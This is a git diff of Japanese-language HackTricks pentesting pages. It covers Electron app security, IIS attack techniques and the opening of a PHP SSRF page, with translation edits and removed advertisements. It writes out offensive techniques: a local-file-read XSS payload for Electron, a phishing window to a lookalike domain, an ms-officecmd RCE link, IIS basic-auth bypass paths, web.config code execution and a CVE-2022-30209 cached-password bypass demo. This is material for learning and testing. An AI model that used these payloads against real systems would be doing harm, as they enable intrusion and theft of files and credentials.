<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## はじめに
|
||||
|
||||
Electronは、ローカルバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、最新のブラウザのセキュリティメカニズムのいくつかが欠けています。
|
||||
|
||||
通常、Electronアプリのコードは`.asar`アプリケーション内に見つかります。コードを取得するには、抽出する必要があります:
|
||||
通常、Electronアプリのコードは`.asar`アプリケーション内に見つかります。コードを取得するには、抽出する必要があります:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
|
@ -47,7 +34,7 @@ Electronアプリのソースコード内の`packet.json`には、セキュリ
|
|||
Electronには2つのプロセスタイプがあります:
|
||||
|
||||
* メインプロセス(NodeJSへの完全なアクセス権を持つ)
|
||||
* レンダラープロセス(セキュリティ上の理由からNodeJSのアクセスが制限されるべき)
|
||||
* レンダラープロセス(セキュリティ上の理由からNodeJSへのアクセスが制限されるべき)
|
||||
|
||||
![](<../../../.gitbook/assets/image (182).png>)
|
||||
|
||||
|
@ -59,7 +46,7 @@ let win = new BrowserWindow();
|
|||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`);
|
||||
```
|
||||
**renderer process**の設定は、main.jsファイル内の**main process**で**設定**できます。いくつかの設定は、**設定が正しく構成されていれば**、ElectronアプリケーションがRCEやその他の脆弱性を持つのを**防ぐ**ことができます。
|
||||
設定は、**renderer process**内で**main process**のmain.jsファイルに**設定**できます。いくつかの設定は、**設定が正しく構成されている**場合、ElectronアプリケーションがRCEやその他の脆弱性を**防ぐ**ことができます。
|
||||
|
||||
Electronアプリケーションは、Node APIを介して**デバイスにアクセス**することができますが、それを防ぐように構成することもできます:
|
||||
|
||||
|
@ -69,7 +56,7 @@ Electronアプリケーションは、Node APIを介して**デバイスにア
|
|||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - デフォルトではオフです。NodeJSが実行できるアクションを制限します。
|
||||
* WorkersにおけるNode Integration
|
||||
* **`nodeIntegrationInSubframes`** - デフォルトでは`off`です。
|
||||
* **`nodeIntegration`**が**有効**になっている場合、これはElectronアプリケーション内のiframeで**読み込まれたウェブページ**で**Node.js API**を使用することを許可します。
|
||||
* **`nodeIntegration`**が**有効**になっている場合、これはElectronアプリケーション内のiframeで**読み込まれた**ウェブページで**Node.js API**を使用することを許可します。
|
||||
* **`nodeIntegration`**が**無効**になっている場合、preloadsはiframe内で読み込まれます。
|
||||
|
||||
設定の例:
|
||||
|
@ -206,16 +193,16 @@ window.addEventListener('click', (e) => {
|
|||
```
|
||||
## RCE via shell.openExternal
|
||||
|
||||
この例に関する詳細は、[https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) と [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) を確認してください。
|
||||
この例に関する詳細は、[https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) および [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) を確認してください。
|
||||
|
||||
Electronデスクトップアプリケーションを展開する際には、`nodeIntegration` と `contextIsolation` の設定が正しいことを確認することが重要です。**クライアントサイドのリモートコード実行(RCE)**がプリロードスクリプトやメインプロセスからのElectronのネイティブコードをターゲットにする場合、これらの設定が整っていれば効果的に防止されることが確立されています。
|
||||
Electronデスクトップアプリケーションを展開する際には、`nodeIntegration` と `contextIsolation` の設定が正しいことを確認することが重要です。**クライアント側のリモートコード実行 (RCE)** がプリロードスクリプトやメインプロセスからのElectronのネイティブコードをターゲットにする場合、これらの設定が整っていれば効果的に防止されることが確立されています。
|
||||
|
||||
ユーザーがリンクと対話したり新しいウィンドウを開いたりすると、特定のイベントリスナーがトリガーされ、アプリケーションのセキュリティと機能にとって重要です:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
これらのリスナーは**デスクトップアプリケーションによってオーバーライドされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、ナビゲートされたリンクが内部で開かれるべきか、外部のウェブブラウザで開かれるべきかを評価します。この決定は通常、`openInternally`という関数を通じて行われます。この関数が`false`を返す場合、リンクは外部で開かれるべきであり、`shell.openExternal`関数を利用します。
|
||||
これらのリスナーは**デスクトップアプリケーションによってオーバーライドされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、ナビゲートされたリンクを内部で開くべきか、外部のウェブブラウザで開くべきかを評価します。この決定は通常、`openInternally`という関数を通じて行われます。この関数が`false`を返す場合、リンクは外部で開くべきであることを示し、`shell.openExternal`関数を利用します。
|
||||
|
||||
**以下は簡略化された擬似コードです:**
|
||||
|
||||
|
@ -241,11 +228,11 @@ window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResu
|
|||
```
|
||||
## 内部ファイルの読み取り: XSS + contextIsolation
|
||||
|
||||
**`contextIsolation`を無効にすると、ローカルファイルを読み取って外部に流出させるために、`<webview>`タグを使用できるようになります**。提供された例は、この脆弱性を利用して内部ファイルの内容を読み取る方法を示しています:
|
||||
**`contextIsolation`を無効にすると、ローカルファイルを読み取って外部に流出させるために、`<webview>`タグを使用できるようになります**。提供された例は、この脆弱性を利用して内部ファイルの内容を読み取る方法を示しています:
|
||||
|
||||
![](<../../../.gitbook/assets/1 u1jdRYuWAEVwJmf\_F2ttJg (1).png>)
|
||||
|
||||
さらに、**内部ファイルを読み取る**ための別の方法が共有されており、Electronデスクトップアプリにおける重大なローカルファイル読み取りの脆弱性を強調しています。これには、アプリケーションを悪用してデータを外部に流出させるためのスクリプトを注入することが含まれます:
|
||||
さらに、**内部ファイルを読み取る**ための別の方法が共有されており、Electronデスクトップアプリにおける重要なローカルファイル読み取り脆弱性を強調しています。これには、アプリケーションを悪用してデータを外部に流出させるためのスクリプトを注入することが含まれます:
|
||||
```html
|
||||
<br><BR><BR><BR>
|
||||
<h1>pwn<br>
|
||||
|
@ -256,21 +243,21 @@ function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body
|
|||
```
|
||||
## **RCE: XSS + 古いChromium**
|
||||
|
||||
もしアプリケーションで使用されている**chromium**が**古い**もので、**既知の****脆弱性**がある場合、**XSSを通じてそれを悪用しRCEを取得する**ことが可能かもしれません。\
|
||||
アプリケーションで使用されている**chromium**が**古い**場合、**既知の****脆弱性**があると、**それを悪用してXSSを通じてRCEを取得する**ことが可能かもしれません。\
|
||||
この**writeup**の例を参照してください: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **内部URLの正規表現バイパスによるXSSフィッシング**
|
||||
|
||||
XSSを見つけたが、**RCEをトリガーできないか内部ファイルを盗むことができない**場合、**フィッシングを通じて認証情報を盗む**ためにそれを使用することを試みることができます。
|
||||
XSSを見つけたが、**RCEをトリガーできないか内部ファイルを盗むことができない**場合、**フィッシングを通じて資格情報を盗む**ためにそれを使用することを試みることができます。
|
||||
|
||||
まず最初に、新しいURLを開こうとしたときに何が起こるかを知る必要があります。フロントエンドのJSコードを確認してください:
|
||||
まず、フロントエンドのJSコードを確認して、新しいURLを開こうとしたときに何が起こるかを知る必要があります:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
**`openInternally`**への呼び出しは、**リンク**がプラットフォームに属するリンクであるため、**デスクトップウィンドウ**で**開かれる**か、**ブラウザの3rdパーティリソース**として**開かれる**かを決定します。
|
||||
|
||||
関数で使用される**regex**が**バイパスに対して脆弱**な場合(例えば、**サブドメインのドットをエスケープしない**場合)、攻撃者はXSSを悪用して、攻撃者のインフラストラクチャに位置する**新しいウィンドウを開き**、ユーザーに**認証情報を要求する**ことができます:
|
||||
関数で使用される**regex**が**バイパスに対して脆弱**な場合(例えば、**サブドメインのドットをエスケープしない**場合)、攻撃者はXSSを悪用して、**新しいウィンドウを開くことができ**、そのウィンドウは攻撃者のインフラストラクチャに位置し、ユーザーに**資格情報を要求**します:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
|
@ -310,39 +297,27 @@ cd vulnerable1
|
|||
npm install
|
||||
npm start
|
||||
```
|
||||
## **References**
|
||||
## **参考文献**
|
||||
|
||||
* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
|
||||
* More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
* Electronのセキュリティに関するさらなる研究と記事は[https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)で確認できます。
|
||||
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **stealer malwares** によって **侵害** されているかどうかを確認するための **無料** 機能を提供します。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,44 +1,30 @@
|
|||
# IIS - Internet Information Services
|
||||
# IIS - インターネット情報サービス
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
Test executable file extensions:
|
||||
テスト実行可能ファイル拡張子:
|
||||
|
||||
* asp
|
||||
* aspx
|
||||
* config
|
||||
* php
|
||||
|
||||
## Internal IP Address disclosure
|
||||
## 内部IPアドレスの漏洩
|
||||
|
||||
IISサーバーで302を受け取った場合、Hostヘッダーを削除し、HTTP/1.0を使用して、レスポンス内のLocationヘッダーが内部IPアドレスを指す可能性があります:
|
||||
302を受け取った任意のIISサーバーでは、Hostヘッダーを削除し、HTTP/1.0を使用して、レスポンス内のLocationヘッダーが内部IPアドレスを指す可能性があります:
|
||||
```
|
||||
nc -v domain.com 80
|
||||
openssl s_client -connect domain.com:443
|
||||
|
@ -56,7 +42,7 @@ X-FEServer: NHEXCHANGE2016
|
|||
```
|
||||
## .configファイルの実行
|
||||
|
||||
.configファイルをアップロードし、それを使用してコードを実行できます。これを行う方法の一つは、HTMLコメント内のファイルの最後にコードを追加することです: [ここから例をダウンロード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
.configファイルをアップロードし、それを使用してコードを実行できます。これを行う方法の1つは、HTMLコメント内のファイルの最後にコードを追加することです: [ここから例をダウンロード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
|
||||
この脆弱性を悪用するための詳細情報と技術は[こちら](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)で確認できます。
|
||||
|
||||
|
@ -102,15 +88,15 @@ Host: example-mvc-application.minded
|
|||
|
||||
* **EntityFramework** バージョン
|
||||
* ウェブページ、クライアント検証、および JavaScript のための **AppSettings**
|
||||
* 認証とランタイムのための **System.web** 構成
|
||||
* 認証とランタイムのための **System.web** 設定
|
||||
* **System.webServer** モジュール設定
|
||||
* **Microsoft.Owin**、**Newtonsoft.Json**、および **System.Web.Mvc** などの多数のライブラリのための **Runtime** アセンブリバインディング
|
||||
|
||||
これらの設定は、**/bin/WebGrease.dll** のような特定のファイルがアプリケーションの /bin フォルダー内にあることを示しています。
|
||||
これらの設定は、**/bin/WebGrease.dll** のような特定のファイルがアプリケーションの /bin フォルダー内に存在することを示しています。
|
||||
|
||||
### **ルートディレクトリファイル**
|
||||
|
||||
**/global.asax** や **/connectionstrings.config**(機密パスワードを含む)など、ルートディレクトリに見つかるファイルは、アプリケーションの構成と動作に不可欠です。
|
||||
**/global.asax** や **/connectionstrings.config**(機密パスワードを含む)など、ルートディレクトリに見つかるファイルは、アプリケーションの設定と動作に不可欠です。
|
||||
|
||||
### **名前空間と Web.Config**
|
||||
|
||||
|
@ -209,20 +195,20 @@ C:\xampp\security\webdav.htpasswd
|
|||
C:\xampp\sendmail\sendmail.ini
|
||||
C:\xampp\tomcat\conf\server.xml
|
||||
```
|
||||
## HTTPAPI 2.0 404エラー
|
||||
## HTTPAPI 2.0 404 エラー
|
||||
|
||||
次のようなエラーが表示された場合:
|
||||
|
||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
これは、サーバーが**Hostヘッダー内の正しいドメイン名を受信しなかった**ことを意味します。\
|
||||
ウェブページにアクセスするには、提供された**SSL証明書**を確認し、そこにドメイン/サブドメイン名があるかもしれません。もしそこにない場合は、**VHostsをブルートフォース**して正しいものを見つける必要があります。
|
||||
|
||||
## 注目すべき古いIISの脆弱性
|
||||
## 確認すべき古いIISの脆弱性
|
||||
|
||||
### Microsoft IISチルダ文字「\~」脆弱性/機能 – 短いファイル/フォルダー名の漏洩
|
||||
|
||||
この**技術**を使用して、発見されたすべてのフォルダー内の**フォルダーとファイルを列挙**しようとすることができます(基本認証が必要な場合でも)。\
|
||||
この**技術**を使用して、発見された各フォルダー内の**フォルダーとファイルを列挙**することができます(基本認証が必要な場合でも)。\
|
||||
この技術の主な制限は、サーバーが脆弱な場合、**各ファイル/フォルダーの名前の最初の6文字とファイルの拡張子の最初の3文字しか見つけられない**ことです。
|
||||
|
||||
[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)を使用してこの脆弱性をテストできます:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
@ -235,11 +221,11 @@ C:\xampp\tomcat\conf\server.xml
|
|||
|
||||
### 基本認証のバイパス
|
||||
|
||||
基本認証(**IIS 7.5**)を**バイパス**しようとするには、次のいずれかにアクセスします:`/admin:$i30:$INDEX_ALLOCATION/admin.php`または`/admin::$INDEX_ALLOCATION/admin.php`
|
||||
基本認証(**IIS 7.5**)を**バイパス**しようとする場合:`/admin:$i30:$INDEX_ALLOCATION/admin.php`または`/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
この**脆弱性**と前のものを**組み合わせ**て、新しい**フォルダー**を見つけ、認証を**バイパス**することができます。
|
||||
この**脆弱性**と前のものを**組み合わせて**新しい**フォルダー**を見つけ、認証を**バイパス**することができます。
|
||||
|
||||
## ASP.NET Trace.AXD有効なデバッグ
|
||||
## ASP.NET Trace.AXD 有効なデバッグ
|
||||
|
||||
ASP.NETにはデバッグモードが含まれており、そのファイルは`trace.axd`と呼ばれます。
|
||||
|
||||
|
@ -263,9 +249,9 @@ ASPXAUTHは次の情報を使用します:
|
|||
ただし、一部の人々はこれらのパラメータの**デフォルト値**を使用し、**ユーザーのメールアドレスをクッキーとして使用**します。したがって、ASPXAUTHクッキーを使用している**同じプラットフォーム**のウェブを見つけ、攻撃対象のサーバーで**なりすましたいユーザーのメールアドレスでユーザーを作成**できれば、**2つ目のサーバーのクッキーを最初のサーバーで使用**してユーザーになりすますことができるかもしれません。\
|
||||
この攻撃はこの[**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)で成功しました。
|
||||
|
||||
## キャッシュされたパスワードを使用したIIS認証バイパス(CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
## キャッシュされたパスワードを使用したIIS認証バイパス (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[こちらに完全なレポートがあります](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):コードのバグが**ユーザーによって提供されたパスワードを適切にチェックしなかった**ため、**パスワードハッシュがキャッシュ内のキーにヒットする**攻撃者は、そのユーザーとしてログインできるようになります。
|
||||
[こちらに完全なレポートがあります](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):コードのバグは**ユーザーによって提供されたパスワードを適切にチェックしなかった**ため、**パスワードハッシュがキャッシュ内のキーにヒットする**攻撃者は、そのユーザーとしてログインできるようになります。
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
|
@ -285,29 +271,17 @@ HTTP/1.1 401 Unauthorized
|
|||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||
HTTP/1.1 200 OK
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **スティーラーマルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS ハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP ハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**Telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,23 @@
|
|||
# PHP SSRF
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
